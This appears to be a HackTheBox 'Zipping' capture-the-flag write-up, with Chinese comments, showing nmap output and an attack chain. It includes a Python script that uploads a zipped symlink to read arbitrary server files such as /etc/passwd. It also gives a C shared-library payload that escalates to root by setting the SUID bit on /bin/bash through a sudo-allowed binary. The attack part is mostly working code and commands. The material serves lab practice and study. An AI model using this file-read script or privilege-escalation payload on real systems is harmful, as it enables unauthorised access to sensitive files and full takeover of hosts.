HTB-Zipping（Medium）

┌──(kali㉿kali)-[~/Desktop]└─$ sudo nmap -sC -sV -on 10.10.11.229         [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 23:22 EDTNmap scan report for 10.10.11.229Host is up (0.26s latency).Not shown: 998 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)|_  256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))|_http-server-header: Apache/2.4.54 (Ubuntu)|_http-title: Zipping | Watch storeService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds

这里我们可以使用软连接ln -s /etc/passwd symlink.pdf#是用于创建一个指向 /etc/passwd 文件的符号链接（软链接）。符号链接是一种特殊类型的文件，它指向另一个文件或目录。通过创建符号链接，你可以在不改变文件实际位置的情况下引用文件。在这种情况下，symlink 是你要创建的符号链接的名称，它会被指向 /etc/passwd 文件。zip -r --symlinks sym.zip symlink.pdf#用于将名为 symlink 的符号链接及其指向的文件或目录打包成一个名为 sym.zip 的 Zip 压缩文件。-r 参数表示递归地将符号链接指向的文件或目录包含在压缩文件中。--symlinks 参数表示将符号链接本身包含在压缩文件中，而不是将其解析为其指向的文件或目录。

import osfrom bs4 import BeautifulSoupimport requestsif not os.path.exists("tmp"):    os.mkdir("tmp")file_to_read = input("File to read: ")print("Creating symlink..")os.chdir("tmp/")os.system(f"ln -s {file_to_read} symlink.pdf")print("Zipping..")os.system(f"zip -r --symlinks sym.zip symlink.pdf")os.system(f"rm symlink.pdf && cp sym.zip ../")print("Done! Zip file: sym.zip")print("Uploading file..")MIP = "10.10.11.229"file = {'zipFile': ('sym.zip', open('sym.zip','rb'),'application/zip'),'submit': (None,'')}headers = {"Host":"10.10.11.229","User-Agent":"Mozilla/5.0 (X11;Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}s = requests.Session()r = s.get(f"http://10.10.11.229",headers=headers)r = s.get(f"http://10.10.11.229/upload.php", headers=headers)r = s.post(f"http://10.10.11.229/upload.php",files=file,headers=headers)soup = BeautifulSoup(r.text,features="lxml")uuid=""for a in soup.find_all("a",href=True):    if "uploads" in a['href']:        uuid = a['href'].split("/")[1]        print("File UUID: ",uuid)print("nReading file..")r = s.get(f"http://10.10.11.229/uploads/{uuid}/symlink.pdf")print(r.text)

rektsu@zipping:/$ sudo -lsudo -lMatching Defaults entries for rektsu on zipping:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binUser rektsu may run the following commands on zipping:    (ALL) NOPASSWD: /usr/bin/stock

#include <stdlib.h>#include <unistd.h>void _init() {setuid(0);setgid(0);system("chmod u+s /bin/bash");}

gcc -shared -fPIC -nostartfiles -o libcounter.so sharedlib.c#放到/home/rektsu/.config/libcounter.so即可